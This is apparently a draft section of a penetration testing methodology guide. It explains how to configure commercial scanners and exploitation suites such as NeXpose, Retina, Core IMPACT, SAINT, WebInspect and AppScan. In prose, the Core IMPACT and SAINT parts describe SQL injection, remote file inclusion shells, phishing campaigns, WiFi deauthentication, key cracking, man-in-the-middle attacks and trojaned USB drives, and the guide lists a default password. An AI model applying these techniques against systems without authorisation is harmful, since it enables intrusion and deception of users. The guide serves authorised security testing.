The newly scheduled scan will appear in the 'Next Scan' column of the 'Site Summary' pane of the page for the site that you are creating. All scheduled scans appear on the 'Calendar' page, which you can view by clicking the 'Monthly calendar' link on the 'Administration' page.

You can set up alerts to inform you when a scan starts, stops, fails, or matches a specific criterion.

From the **Alerting;** ***page and click the ''*****New Alert'** button.

Screenshot Here

The console displays a **New Alert'** ***dialog box. Click the ''*****Enable alert'** check box to ensure that NeXpose generates this type of alert. You can click the box again at any time to disable the alert if you prefer not to receive that alert temporarily without having to delete it.

Screenshot Here

Type a name for the alert and a value in the 'Send at most' field if you wish to limit the number of this type of alert that you receive during the scan. Select the check boxes for types of events (Started, Stopped, Failed, Paused, and Resumed) that you wish to generate alerts for. Select the Confirmed, Unconfirmed, and/or Potential check boxes to receive only those alerts. Select a notification method from the dropdown box. NeXpose can send alerts via SMTP e-mail, SNMP message, or Syslog message. Select e-mail method and enter the addresses of your intended recipients. Click the Limit alert text check box to send the alert without a description of the alert or its solution. Click the Save

button. The new alert appears on the 'Alerting' page.

Screenshot Here

Establishing logon credentials enables deeper checks across a wider range of vulnerabilities, such as policy violations, adware, or spyware. Additionally, credentialed scans result in more accurate results. On the 'Credentials' page click 'New Login' display the 'New Login' box.

Screenshot Here

Select the desired type of credentials from the dropdown list labeled 'Login type'. This selection determines the other fields that appear in the form. In the appropriate field enter the appropriate user name and/or password. The 'Restrict to Device' and 'Restrict to Port' fields allows for testing credentials to ensure that the work on a given site. After filling those fields, click on the 'Test login' button to make sure that the credentials work. Specifying a port in the Restrict to Port field allows you to limit your range of scanned ports in certain situations. Click the 'Save' button. The new credentials appear on the 'Credentials' page.

Once the scan has completed, you can view the results in several manners. It is possible to view the assets by sites, view assets by groups, view assets by operating systems, view assets by services, view assets by software, and view all assets.

Screenshot Here

By selecting the appropriate assets view you can select the results that you wish to view.

Screenshot Here

To create a report, click on the 'Create Site Report' button. This will take you to the 'New Report' 'Configuration' page.

Screenshot Here

Report configuration entails selecting a report template, assets to report on, and distribution options. You may schedule automatic reports for generation and distribution after scans or on a fixed calendar timetable; or you may run reports manually. After you go through all the following configuration steps and click 'Save', NeXpose will immediately start generating a report.

eEYE Retina

eEye Retina Vulnerability Assessment Scanner is a vulnerability scanner created by eEye Digital Security that is used to correlate and validate findings from Nmap and Nessus.

At first glance, the interface looks to be much more complicated than Nessus. It is however, extremely simple once you've explored it. The initial screen that is presented is the Discovery Tasks page. This is utilized to perform a discovery scan to determine what hosts are alive.

Screenshot Here

To perform a Discovery Scan, click Targets from the Actions section and the "Select Targets" option will appear. At this point you can either enter in a single IP address or hostname that you assess. The other options available are to scan by IP Range, CIDR, Named Host, and Address Groups.

Clicking on the Options Actions section presents us with additional options related to the Discovery scan. These options include ICMP Discovery, TCP Discovery on Ports (enter in a comma separated list of port numbers, UPD Discovery, Perform OS Detection, Get Reverse DNS, Get NetBIOS Name, and Get MAC Address. Select the appropriate options for the scan desired.

Screenshot Here

To run the Discovery scan immediately click "Discover." To run the Discovery scan at a later point in time or on a

regular schedule, click "Schedule." Retina displays your results in the Results table as it scans the selected IP(s). In order to get the results in a format that we can use, we need to select the scan results and click "Generate" to export the results in XML format.

Screenshot Here

While Discovery Scans may be useful, the majority of our tasks will take place in the Audit Interface. This is very similar to the Discovery Scan interface; however it does have a few more options.

Screenshot Here

The Targets section is similar though there is an additional section that allows us to specify the Output Type, Name, and Job Name.

Screenshot Here

This section is important to complete, as this is how the scan results will be saved. If you do not change this information then you could potentially overwrite someone else's scan results. By default, these are saved to the following directory:

```
C:\Program Files\eEye Digital Security\Retina 5\Scans
```

This is important to note, as you will need to copy these from this location to your working directory.

At this point we need to click Ports from the Actions section and the "Select Port Group(s)" option will appear. At this point we need to validate that the "All Ports" option has been selected.

Screenshot Here

The next section we need to check is "Audits" from the Actions section and the "Select Audit Group(s)" option will appear. At this point we need to validate that the "All Audits" option has been selected.

Screenshot Here

The final section we need to check is "Options" from the actions section. Clicking on this will present us with the "Select Options" action section.

Screenshot Here

At this point we need to validate that the following option has been selected:

- Perform OS Detection
- Get Reverse DNS
- Get NetBIOS Name
- Get MAC Address
- Perform Traceroute
- Enable Connect Scan
- Enable Force Scan
- Randomize Target List
- Enumerate Registry via NetBIOS
- Enumerate Users via NetBIOS
- Enumerate Shares via NetBIOS
- Enumerate Files via NetBIOS

- Enumerate Hotfixes via NetBIOS.
- Enumerate Named Pipes via NetBIOS
- Enumerate Machine Information via NetBIOS
- Enumerate Audit Policy via NetBIOS
- Enumerate Per-User Registry Settings via NetBIOS
- Enumerate Groups via NetBIOS
- Enumerate Processes via NetBIOS
- Enumerate a maximum of 100 users

At this point we are ready to actually perform the Audit Scan. Click the Scan button to start the Audit Scan immediately. To perform the scan at a later point in time or on a regular schedule, click "Schedule."

Screenshot Here

Note: Automated tools can sometimes be too aggressive by default and need to be scaled back if the customer is affected.

The results of your scan are automatically saved in .rtd format.

Retina displays your results in the Results table as it scans the selected IP(s).

Screenshot Here

Qualys

<Contribution Needed>

Core IMPACT

Core IMPACT is a penetration testing and exploitation toolset used for testing the effectiveness of your information security program. Core IMPACT automates several difficult exploits and has a multitude of exploits and post exploitation capabilities.

Core IMPACT Web

Core can exploit SQL injection, Remote File Inclusion and Reflected Cross Site Scripting flaws on vulnerable web applications.

Screenshot Here

1) Information Gathering. As always, the first step information gathering. Core organizes web attacks into scenarios. You can create multiple scenarios and test the same application with varying settings, segment a web application, or to separate multiple applications. a) Select the target, either by providing a url or telling Core to choose web servers discovered during the network RPT b) Choose a method for exploring the site, automatic or interactive.

With automatic crawling, select the browser agent, max pages and depth, whether it should follow links to other/or to include other domains, whether it should run test to determine the server/application framework, whether to evaluate javascript, check robots.txt for links, and how it should handle forms. For greater customization, you can also select a link parsing module and set session parameters.

Screenshot Here

With interactive, you set your îbrowserî to use Core as a proxy and then navigate through the web application. Further customized discovery modules like checking for backup and hidden pages are available on the modules tab.

Screenshot Here

2) Web Attack and penetration.

The attack can be directed to a scenario or individual pages. Each type of exploit has its own configuration wizard. SQL Injection tests can be performed on request parameters and/or request cookies. There are three different levels of injection attacks FAST: quickly runs the most common tests, NORMAL: runs the tests that are in the FAST plus some additional tests FULL: runs all tests (for details on what the difference tests check for, select the modules tab, navigate to the Exploits | SQL Injection section and view the contents of the SQL Injection Analyzer paying attention to the fuzz_strings). Adding information about known custom error pages and any session arguments will enhance testing. For XSS attacks, configure the browser XSS should be tested for, whether or not to evaluate POST parameters and whether to look for Persistent XSS vulnerabilities. For PHP remote file injection vulnerabilities, the configuration is either yes try to exploit or no, donít. Monitor the module progress in the Executed Modules pane. If the WebApps Attack and Penetration is successful, then Core Agents (see note on agents in Core network RPT) will appear under vulnerable pages in the Entity View.

3) Web Apps Browser attack.

Can leverage XSS exploits to assist with Social Engineering awareness tests. The wizard will guide the penetration tester though the process of leveraging the XSS vulnerability to your list of recipients from the client side information gathering phase.

4) Web App Local Information Gathering.

Will check for sensitive information, get database logins and get the database schema for pages where SQL was successfully exploited. Command and SQL shells may also be possible.

Screenshot Here

The RFI agent(PHP) can be used to gather information, for shell access, or to install the full Core Agent.

5) Report Generation. Select from a variety of reports like executive, vulnerability and activity reports.

Core Onestep Web RPTs Core also has two one-step rapid penetration tests 1) WebApps Vulnerability Test Type in the web application and Core will attempt to locate pages that contain vulnerabilities to SQL Injection, PHP Remote File Inclusion, or Cross-site Scripting attacks. This test can also be scheduled. 2) WebApps Vulnerability Scanner Validator

Core will try to confirm vulnerabilities from IBM Rational AppScan, HP WebInspect, or NTOspider scans.

Core IMPACT WiFi

Core Impact contains a number of modules for penetration testing an 802.11 wireless network and/or the security of wireless clients. In order to use the wireless modules you must use an AirPcap adapter available from www.cacetech.com.

Screenshot Here

1) Information Gathering. Select the channels to scan to discover access points or capture wireless packets.

2) Wireless Denial of Service The station deauth module can be used to demonstrate wireless network disruption. It is also used to gather information for encryption key cracking.

3) Crack Encryption Keys. Attempt to discover and crack WEP and WPA/WPA2 PSK encryption keys. For WPA/WPA2, relevant passwords files from recognizance phase should be used.

4) Man in the Middle client attacks. Allows penetration tester to sniff wireless traffic, intercept or manipulate requests to gain access to sensitive data or an end user system. Leverage existing wireless network from steps one and two, or setup fake access points with the Karma Attack.

5) Reporting. Reports about all the discovered WiFi networks , summary information about attacks while using a Fake Access Point and results of Man In The Middle (MiTM) attacks can be generated.

Core IMPACT Client Side

Core Impact can perform controlled and targeted social engineering attacks against a specified user community via email, web browsers, third-party plug-ins, and other client-side applications.

Screenshot Here

1) As always, the first step information gathering. Core Impact has automate modules for scraping email addresses our of search engines (can utilize search API keys), PGP, DNS and WHOIS records, LinkedIn as well as by crawling a website, contents and metadata for Microsoft Office Documents and PDFs , or importing from a text file generated using source as documented in the intelligence gather section of the PTES. 2) With the target list complete, the next step is to create the attack. Core supports multiple types of attacks, including single exploit, multiple exploits or a phishing only attack

Screenshot Here Screenshot Here Screenshot Here Screenshot Here

Depending on which option is chosen the wizard will walk you through choosing the exploit, setting the duration of the client side test, and choosing an email template (note: predefined templates are available, but message should be customized to match target environment!) .Web links can be obfuscated using tinyURL, Bit.Ly or Is.gd. After setting the options for the email server the Core Agent connect back method (HTTP, HTTPS, or other port), and choosing whether or not to run a module on successful exploitation or to try to collect smb credentials, the attack will start. Specific modules can be run instead of using the wizard by choosing the modules tab

Screenshot Here

Monitor the Executed Modules pane to see the progress of the client side attack. As agents are deployed, they will be added to the network tab. See the network RPT section of the PTES for details on completing the local information gathering, privilege escalation and clean up tasks.

Once the client side attack is complete, detailed reporting of the client side phishing/exploitation engagement can be generated.

It is also possible to create a trojaned USB drive that will automatically install the Core agent.

Screenshot Here

Core Web

Core can exploit SQL injection, Remote File Inclusion and Reflected Cross Site Scripting flaws on vulnerable web applications. Screenshot Here

1) Information Gathering. As always, the first step information gathering. Core organizes web attacks into scenarios. You can create multiple scenarios and test the same application with varying settings, segment a web application, or to separate multiple applications. a) Select the target, either by providing a url or telling Core to choose web servers discovered during the network RPT b) Choose a method for exploring the site, automatic or interactive.

```
    With automatic crawling, select the browser agent, max pages and depth, whether it should follow links to
other/or to include other domains, whether it should run test to determine the server/application framework,
whether to evaluate javascript, check robots.txt for links, and how it should handle forms. For greater
customization, you can also select a link parsing module and set session parameters.
```

coreWEBcrawl

With interactive, you set your ”browser” to use Core as a proxy and then navigate through the web application. Further customized discovery modules like checking for backup and hidden pages are available on the modules tab. Screenshot Here

2) Web Attack and penetration. The attack can be directed to a scenario or individual pages. Each type of exploit has its own configuration wizard. SQL Injection tests can be performed on request parameters and/or request cookies. There are three different levels of injection attacks FAST: quickly runs the most common tests, NORMAL: runs the tests that are in the FAST plus some additional tests FULL: runs all tests (for details on what the difference tests check for, select the modules tab, navigate to the Exploits | SQL Injection section and view the contents of the SQL Injection Analyzer paying attention to the fuzz_strings). Adding information about known custom error pages and any session arguments will enhance testing. For XSS attacks, configure the browser XSS should be tested for, whether or not to evaluate POST parameters and whether to look for Persistent XSS vulnerabilities. For PHP remote file injection vulnerabilities, the configuration is either yes try to exploit or no, don’t. Monitor the module progress in the Executed Modules pane. If the WebApps Attack and Penetration is successful, then Core Agents (see note on agents in Core network RPT) will appear under vulnerable pages in the Entity View.

3) Web Apps Browser attack. Can leverage XSS exploits to assist with Social Engineering awareness tests. The wizard will guide the penetration tester though the process of leveraging the XSS vulnerability to your list of recipients from the client side information gathering phase.

4) Web App Local Information Gathering. Will check for sensitive information, get database logins and get the database schema for pages where SQL was successfully exploited. Command and SQL shells may also be possible. Screenshot Here The RFI agent(PHP) can be used to gather information, for shell access, or to install the full Core Agent.

5) Report Generation. Select from a variety of reports like executive, vulnerability and activity reports.

Core Onestep Web RPTs

Core also has two one-step rapid penetration tests 1) WebApps Vulnerability Test Type in the web application and Core will attempt to locate pages that contain vulnerabilities to SQL Injection, PHP Remote File Inclusion, or Cross-site Scripting attacks. This test can also be scheduled. 2) WebApps Vulnerability Scanner Validator Core will try to confirm vulnerabilities from IBM Rational AppScan, HP WebInspect, or NTOspider scans.

Core WiFi

Core Impact contains a number of modules for penetration testing an 802.11 wireless network and/or the security of wireless clients. In order to use the wireless modules you must use an AirPcap adapter available from www.cacetech.com. <corewireless.jpg> 1) Information Gathering. Select the channels to scan to discover access points or capture wireless packets.

2) Wireless Denial of Service The station deauth module can be used to demonstrate wireless network disruption. It is also used to gather information for encryption key cracking.

3) Crack Encryption Keys. Attempt to discover and crack WEP and WPA/WPA2 PSK encryption keys. For WPA/WPA2, relevant passwords files from recognisance phase should be used.

4) Man in the Middle client attacks. Allows penetration tester to sniff wireless traffic, intercept or manipulate requests to gain access to sensitive data or an end user system. Leverage existing wireless network from steps one and two, or setup fake access points with the Karma Attack.

5) Reporting. Reports about all the discovered WiFi networks , summary information about attacks while using a Fake Access Point and results of Man In The Middle (MiTM) attacks can be generated.

SAINT

SAINT Professional is a commercial suite combining two distinct tools rolled into one easy to use management

interface; SAINTscanner and SAINTexploit providing a fully integrated vulnerability assessment and penetration testing toolkit.

SAINTscanner is designed to identify vulnerabilities on network devices, OS and within applications. It can be used for compliance and audit testing based on pre-defined and custom policies. In addition as a data leakage prevention tool it can enumerate any data that should not be stored on the network. SAINTexploit is designed to exploit those vulnerabilities identified by SAINTscanner, with the ability to carry out bespoke social engineering and phishing attacks also. One a host or device has been exploited it can be utilised to tunnel through to other vulnerable hosts. SAINT can either be built from source or be run from a pre-configured virtual machine supplied by the vendor. If the latter is used (recommended) simply double clicking the icon will launch the suite. By default the password is "SAINT!!!" The default web browser opens after SAINT auto updates to the following URL: http://<IP ADDRESS>:52996/ Screenshot Here SAINT_startup.png refers (included).

SAINTscanner

Once logged in you immediately enter the SAINTscanner page with the Penetration Testing (SAINTXploit) tab easily available and visible. It is possible to login remotely to SAINT, by default this is over port 1414 and has those hosts allowed to connect have to be setup via Options, startup options, Category remote mode, subcategory host options: Screenshot Here SAINT_Remote_host.png refers (included). Configuration of scanning options should now be performed which is accessed by Options, scanning options, Category scanning policy. Each sub category needs to be addressed to ensure that the correct default scanning parameters are set i.e. using nmap rather than the in-built SAINT port scanner and which ports to probe, that dangerous checks are disabled (if required) and that the required items for compliance and audit are enabled for reporting i.e. anti-virus, age of definition check etc. Screenshot Here SAINT_scanning_options.png refers (included). Note: - The target restrictions sub-category should be amended if any hosts are not to be probed. The most import scanning option is Category Scanning policy, sub-category probe options, option, what scanning policy should be used, the scan required is selected or a custom policy built-up to suit the actual task Screenshot here SAINT_policy_setup.png refers (included). Having configured all the options required the actual process of carrying out a scan can be addressed. Step 1 Insert IP Range/ Address or Upload Target List Step 2 Type in credentials Screenshot here SAINT_scansetup1.png refers (included). Step 3 Select Scan Policy Type Step 4 Determine Firewall settings for Target Step 5 Select Scan Now Screenshot here SAINT_scansetup2.png refers (included).

SAINTexploit

Different levels of penetration tests can be carried out:

Discovery - Identify hosts. Information Gathering - Identify hosts, probe and port scan. Single Penetration - Both above then exploits stopping at first successful exploit. Root Penetration - Exploit then Privilege escalation to admin/ root. Full Penetration - Exploits as many vulnerabilities as possible. Web Application - Attacks discovered web applications.

Conducting a test is fairly straight forward, once any prior configuration has been carried out, callback ports, timeouts etc. Just select the Pen Test icon then go through the following 4 steps. Once complete select run pen test now.

Step 1 Insert IP Range/ Address or Upload Target List Step 2 Type in credentials

Screenshot here SAINT_pen1.png refers (included).

Step 3 Select Penetration Test Type Step 4 Determine Firewall settings for Target

SAINT_pen2.png Screenshot here SAINT_pen2.png refers (included).

Once a host has been successfully exploited, navigating to the connections tab provides the ability to directly interact with the session. SAINTexploit provides four useful tools in this tab to allow interactive access to the session and a disconnect button to close any outstanding connection:

Command Prompt. File and Upload Manager. Screenshot Taker Tunnel.

Screenshot here SAINT_connections.png refers (included) The File Manager gives the ability to perform numerous actions. This is opened via the connections tab, providing the ability to upload/ download/ rename files. Screenshot here SAINT_filemgr.png refers (included) A Command Prompt can be utilised on an exploited host, the tool is opened via the connections tab, all DOS/Bash type commands that are applicable to the target OS can be ran. Screenshot here SAINT_cmd.png refers (included) The Screenshot Tool can be used against an exploited host to grab a screenshot for the report. Screenshot here SAINT_screen.png refers (included) Varied other tools that can be utilised against the host, i.e. grabbing password hashes and many others can be accessed and executed via the exploits icon, tools option.

Custom Client Side attacks These can be performed by using the exploits icon, selecting exploits, expanding out the client list and clicking on the appropriate exploit that you wish to utilise against the client (run now) Screenshot here SAINT_client1.png refers (included) Select, port the client is to connect to, the shell port and the target type. Annotate any specific mail from and to parameters Screenshot here SAINT_client2.png refers (included) Type in the subject, either select a predefined template and alter the message to suit Screenshot here SAINT_client3.png refers (included) A sample pre-defined template is available which looks very realistic Screenshot here SAINT_client4.png refers (included) Selecting run now will start the exploit server against the specified target host Screenshot here SAINT_client5.png refers (included) If a client click the link in the email they have just been sent, and they are exploitable, the host will appear in the connections tab and can then be interacted with as above.

SAINTwriter

SAINTwriter is a component of SAINT that allows you to generate a variety of customised reports. SAINTwriter features eight pre-configured reports, eight report formats (HTML, Frameless HTML, Simple HTML, PDF, XML, text, tab-separated text, and comma-separated text), and over 100 configuration options for custom reports.

To generate a report

Step 1 From the SAINT GUI, go to Data, and from there go to SAINTwriter. Step 2 Read the descriptions of the pre-configured reports and select the one which best suits your needs. Screenshot here SAINT_writer.png refers (included). A sample report is available here and here SAINT_report1.pdf and SAINT_report2.pdf refer (included)

Web Application Scanners

General Web Application Scanners

WebInspect (Windows)

HP's WebInspect application security assessment tool helps identify known and unknown vulnerabilities within the Web application layer. WebInspect can also help check that a Web server is configured properly, and attempts common web attacks such as parameter injection, cross-site scripting, directory traversal, and more

When you first start WebInspect, the application displays the Start Page. For this page we can perform the five major functions within the WebInpsect GUI. The options are to start a Web Site Assessment, start a Web Service Assessment, start an Enterprise Assessment, generate a Report, and start Smart Update. From the Start Page, you can also access recently opened scans, view the scans that are scheduled for today and finally, view the WebInspect Messages.

Screenshot Here

The first scan that is performed with WebInspect is the Web Site Assessment Scan. WebInspect makes use of the New Web Site Assessment Wizard to setup the assessment scans.

Screenshot Here

When you start the New Scan wizard, the Scan Wizard window appears. The options displayed within the wizard windows are extracted from the WebInspect default settings. The important thing to note is that any changes you make will be used for this scan only.

In the Scan Name box, enter a name or a brief description of the scan. Next you need to select one an assessment mode. The options available are Crawl Only, Crawl and Audit, Audit Only, and Manual. The "Crawl Only" option completely maps a site's tree structure. It is possible after a crawl has been completed, to click "Audit" to assess an application's vulnerabilities. "Crawl and Audit" maps the site's hierarchical data structure, and audits each page as it is discovered. This should be used when assessing extremely large sites. "Audit Only" determines vulnerabilities, but does not crawl the web site. The site is not assessed when this option is chosen. Finally, "Manual" mode allows you to navigate manually to sections of the application. It does not crawl the entire site, but records information only about those resources that you encounter while scanning a Site manually navigating the site. Use this option if there are credentialed scans being performed. Also, ensure that you embed the credentials in the profile settings.

Screenshot Here

It is recommended to crawl the client site first. This allows the opportunity to identify any forms that need to be filtered during the audit as well as identify directories/file names (in some cases, even the profiler) that need to be ignored for a scan to complete.

Once you have selected the assessment mode, you will need to select the assessment type. There are four options available, Standard Assessment, List-Driven Assessment, Manual Assessment, and Workflow-Driven Assessment. The Standard Assessment type consists of automated analysis, starting from the target URL. This is the normal way to start a scan. Manual Assessment allows you to navigate manually to

whatever sections of your application you choose to visit, using Internet Explorer. List-Driven Assessment performs an assessment using a list of URLs to be scanned. Each URL must be fully qualified and must include the protocol (for example, http:// or https://). Workflow-Driven Assessment: WebInspect audits only those URLs included in the macro that you previously recorded and does not follow any hyperlinks encountered during the audit.

As discussed earlier, Standard Assessment will normally be used for the initial scans. If this is the choice you've selected you will need to type or select the complete URL or IP address of the client's site to be examined. When you enter a URL, it must be precise. For example, if you entering client.com will not result in a scan of www.client.com or any other variations. To scan from a specific point append a starting point for the scan, such as http://www.client.com/clientapplication/. By default, scans performed by IP address will not follow links that use fully qualified URLs.

Screenshot Here

Select "Restrict to folder" to limit the scope of the assessment to the area selected. There are three options available from the drop-down list.

Screenshot Here

The choices are Directory only, Directory and subdirectories, and Directory and parent directories. Choosing the "Directory only" option will force a crawl and/or audit only for the URL specified. The "Directory and subdirectories" options will crawl and/or audit at the URL specified as well as subordinate directories. It will not access any directory than the URL specified. The "Directory and parent directories" option will crawl and/or audit the URL you specified, but will not access any subordinate directories.

Once you have selected to appropriate options, click Next to continue.

If the target site needs to accessed through a proxy server, select Network Proxy and then choose an option from the Proxy Profile list. The default is to Use Internet Explorer. The other options available are Autodetect, Use PAC File, Use Explicit Proxy Settings, and Use Mozilla Firefox. Autodetect uses the Web Proxy Autodiscovery Protocol (WPAD) to locate a proxy autoconfig file and use this to configure the browser's Web proxy settings. Use PAC File loads proxy settings from a Proxy Automatic Configuration (PAC) file. Use Explicit Proxy Settings allows you to specify proxy server settings. Use Mozilla Firefox imports the proxy server information from Firefox.

Screenshot Here

Selecting to use browser proxy settings does not guarantee that you will be able to access the Internet through a particular proxy server. If the Internet Explorer settings are configured to use a proxy that is not running, then you will not be able to access the site to begin the assessment. For this reason, it is always recommended to check the prosy settings of the application you have selected.

Select Network Authentication if server authentication is required. Then choose the specific authentication method and enter your network credentials. Click Next to continue.

The Coverage and Thoroughness options are not usually modified, unless you are targeting an Oracle site.

Screenshot Here

To optimize settings for an Oracle site, select Framework and then choose the site type from the Optimize scan for list. Use the Crawl slider to specify the crawler settings.

If enabled, the slider allows you to select one of four crawl positions. The options are Thorough, Default, Normal, and Quick. The specific settings are as follows:

Thorough uses the following settings:

- Redundant Page Detection: OFF
- Maximum Single URL Hits: 20
- Maximum Web Form Submissions: 7
- Create Script Event Sessions: ON
- Maximum Script Events Per Page: 2000
- Number of Dynamic Forms Allowed Per Session: Unlimited
- Include Parameters In Hit Count: True

Default uses the following settings:

- Redundant Page Detection: OFF
- Maximum Single URL Hits: 5
- Maximum Web Form Submissions: 3
- Create Script Event Sessions: ON
- Maximum Script Events Per Page: 1000
- Number of Dynamic Forms Allowed Per Session: Unlimited
- Include Parameters In Hit Count: True

Normal uses the following settings:

- Redundant Page Detection: OFF
- Maximum Single URL Hits: 5
- Maximum Web Form Submissions: 2
- Create Script Event Sessions: ON
- Maximum Script Events Per Page: 300
- Number of Dynamic Forms Allowed Per Session: 1
- Include Parameters In Hit Count: False

Quick uses the following settings:

- Redundant Page Detection: ON
- Maximum Single URL Hits: 3
- Maximum Web Form Submissions: 1
- Create Script Event Sessions: OFF
- Maximum Script Events Per Page: 100

- Number of Dynamic Forms Allowed Per Session: 0
- Include Parameters In Hit Count: False

Select the appropriate crawl position and click Next to continue.

Screenshot Here

Ensure that the select Run Profiler Automatically box is checked. Click Next to continue.

Screenshot Here

At this point the scan has been properly configured. There is an option to save the scan settings for later use. Click Scan to exit the wizard and begin the scan.

As soon as you start a Web Site Assessment, WebInspect displays in the Navigation pane an icon depicting each session. It also reports possible vulnerabilities on the Vulnerabilities tab and Information tab in the Summary pane. If you click a URL listed in the Summary pane, the program highlights the related session in the Navigation pane and displays its associated information in the Information pane. The relative severity of a vulnerability listed in the Navigation pane is identified by its associated icon.

Screenshot Here

When conducting or viewing a scan, the Navigation pane is on the left side of the WebInspect window. It includes the Site, Sequence, Search, and Step Mode buttons, which determines view presented.

When conducting or viewing a scan, the Information pane contains three collapsible information panels and an information display area. Select the type of information to display by clicking on an item in one of three information panels in the left column.

The Summary pane has five tabs: Vulnerabilities, Information, Best Practices, Scan Log, and Server Information. The Vulnerabilities Tab lists all vulnerabilities discovered during an audit. The Information Tab lists information discovered during an assessment or crawl. These are not considered vulnerabilities, but simply identify interesting points in the site or certain applications or Web servers. The Best Practices Tab lists issues detected by WebInspect that relate to commonly accepted best practices for Web development. Items listed here are not vulnerabilities, but are indicators of overall site quality and site development security practices (or lack thereof).

The Scan Log Tab is used to view information about the assessment. For instance, the time at which certain auditing was conducted against the target. Finally, the Server Information Tab lists items of interest pertaining to the server.

Screenshot Here

The final step is to export the results further analysis. To export the results of the analysis to an XML file, click File, then Export. This presents the option to export the Scan or Scan Details.

Screenshot Here

From the Export Scan Details window we need to choose the Full from the Details option. This will ensure that we obtain the most comprehensive report possible. Since this is only available in XML format, the only option we have left to choose is to scrub data. If you want to ensure that SSN, and Credit Card data is scrubbed then select these options. If you choose to scrub IP address information then the exported data will be useless for our purposes. Click Export to continue. Choose the file location to save the exported data.

Web Service Assessment Scan

The first scan that is performed with WebInspect is the Web Site Assessment Scan. WebInspect makes use of the New Web Site Assessment Wizard to setup the assessment scans.

Screenshot Here

When you start the New wizard, the Web Service Scan Wizard window appears. The options displayed within the wizard windows are extracted from the WebInspect default settings. The important thing to note is that any changes you make will be used for this scan only.

In the Scan Name box, enter a name or a brief description of the scan. Next you need to select one an assessment mode. The options available are Crawl Only, and Crawl and Audit. The "Crawl Only" option completely maps a site's tree structure. It is possible after a crawl has been completed, to click "Audit" to assess an application's vulnerabilities. "Crawl and Audit" maps the site's hierarchical data structure, and audits each page as it is discovered.

Screenshot Here

Once you have selected the assessment mode, you will need to select the location of the WSDL file. WSDL is an XML format for describing network services as a set of endpoints operating on messages containing either document-oriented or procedure-oriented information. Once you have selected to appropriate options, click Next to continue.

Screenshot Here

At this point the scan has been properly configured. There is an option to save the scan settings for later use. Click Scan to exit the wizard and begin the scan.

As soon as you start a Web Service Assessment, WebInspect displays in the Navigation pane an icon depicting each session. It also reports possible vulnerabilities on the Vulnerabilities tab and Information tab in the Summary pane. If you click a URL listed in the Summary pane, the program highlights the related session in the Navigation pane and displays its associated information in the Information pane. The relative severity of a vulnerability listed in the Navigation pane is identified by its associated icon.

Screenshot Here

When conducting or viewing a scan, the Navigation pane is on the left side of the WebInspect window. It includes the Site, Sequence, Search, and Step Mode buttons, which determines view presented.

When conducting or viewing a scan, the Information pane contains three collapsible information panels and an information display area. Select the type of information to display by clicking on an item in one of three information panels in the left column.

The Summary pane has five tabs: Vulnerabilities, Information, Best Practices, Scan Log, and Server Information. The Vulnerabilities Tab lists all vulnerabilities discovered during an audit. The Information Tab lists information discovered during an assessment or crawl. These are not considered vulnerabilities, but simply identify interesting points in the site or certain applications or Web servers. The Best Practices Tab lists issues detected by WebInspect that relate to commonly accepted best practices for Web development. Items listed here are not vulnerabilities, but are indicators of overall site quality and site development security practices (or lack thereof).

The Scan Log Tab is used to view information about the assessment. For instance, the time at which certain auditing was conducted against the target. Finally, the Server Information Tab lists items of interest pertaining to the server.

Screenshot Here

The final step is to export the results for further analysis. To export the results of the analysis to an XML file, click File, then Export. This presents the option to export the Scan or Scan Details.

Screenshot Here

From the Export Scan Details window we need to choose the Full from the Details option. This will ensure that we obtain the most comprehensive report possible. Since this is only available in XML format, the only option we have left to choose is to scrub data. If you want to ensure that SSN, and Credit Card data is scrubbed then select these options. If you choose to scrub IP address information then the exported data will be useless for our purposes. Click Export to continue. Choose the file location to save the exported data.

IBM AppScan

IBM Rational AppScan automates application security testing by scanning applications, identifying vulnerabilities and generating reports with recommendations to ease remediation. This tutorial will apply to the AppScan Standard Edition which is a desktop solution to automate Web application security testing. It is intended to be use by small security teams with several security testers.

<AppScan01 Screen Shot Here>

To ensure APPScan has the latest updates you should click update on the toolbar menu. This will check the IBM servers for updates. Internet access is required.

<AppScan02 Screen Shot Here>

The simplest way to configure a scan is to use the Configuration Wizard. You can access the Configuration Wizard by clicking “New” on the File menu. You will be presented with the “New Scan” dialog box. Enable or disable the “Configuration Wizard” by checking the box.

<AppScan03 Screen Shot Here>

You can then choose what type of scan you wish to perform. The default is a Web Application Scan.

<AppScan04 Screen Shot Here>

You then have to enter the starting URL for the web application. Other options on that screen include choosing Case-Sensitivity path for Unix\Linux systems, adding additional servers and domains and enabling proxy and platform authentication option. Uncheck the case-sensitivity path option if you know all the systems are windows as it can help reduce the scan time.

<AppScan05 Screen Shot Here>

If the web application requires authentication then there are several options to choose from. Recorded allows you to record the login procedure so that AppScan can perform the login automatically. Prompt will prompt with the login screen during the scan when a login is required. Automatic can be used in web applications that only require a username and password. An important option is the “I want to configure In-Session detection options” if anything other they “None” is chosen. This option automatically detects if the web application is out of session. AppScan with automatically configure this feature but if it’s not correct scan results will be unreliable.

<AppScan06 Screen Shot Here>

<AppScan06a Screen Shot Here>

Next you will be asked to choose a test policy. There are various built-in policies and each have various inclusions and exclusions. You can also create a custom policy.

By default AppScan tests the login and logout pages. This is enabled with the “Send tests on login and logout pages” option. Some applications have safeguards that could lockout the test account and prevent a scan from completing. You need monitor the testing logs to ensure login is not failing. AppScan also deletes previous session tokens before testing login pages. You may need to disable this option if a valid session token is required on the login pages. This can disabled by unchecking the “Clear session identifiers before testing login pages” option

<AppScan07 Screen Shot Here>

You have now completed the scan configuration and will be prompted to start the scan. By default AppScan will start a full scan of the application. To ensure full coverage of the application a Manual Explore of the application is preferred. With this option AppScan with provide you with a browser window and you can access the application to explore every option and feature available. Once the full application has been explored you can close the browser and AppScan will add the discovered pages its list for testing. You can then start the full scan (Using Scan Full Scan on the menu bar) and AppScan will automatically scan the application.

<AppScan08 Screen Shot Here>

Web Directory Listing/Bruteforcing

DirBuster is a java application that is designed to brute force web directories and files names. DirBuster attempts to find hidden or obfuscated directories, but as with any bruteforcing tool, it is only as good as the directory and file list utilized. For that reason, DirBuster has 9 different lists.

Screenshot Here

Webserver Version/Vulnerability Identification

The ability to identify the Webserver version is critical to identify vulnerabilities specific to a particular installation. This information should have been gathered as part of an earlier phase.

NetSparker (Windows)

NetSparker is windows based Web Application Scanner. This scanner tests for all common types of web application security flaws. This scanner allows the user to enter NTLM, Forms based and certificate based credentials. NetSparker boasts its ability to confirm the findings it presents to the user. NetSparker is an inexpensive Web Application Scanner.

When launching NetSparker, the user is presented with the following screen, which has tabs for the Scan Settings, Authentication and Advanced Settings.

<netsparker1.png ScreenShot Here>

NetSparker allows the user to enter credentials for Forms based Authentication in the following dialogue.

<netsparker2.png ScreenShot Here>
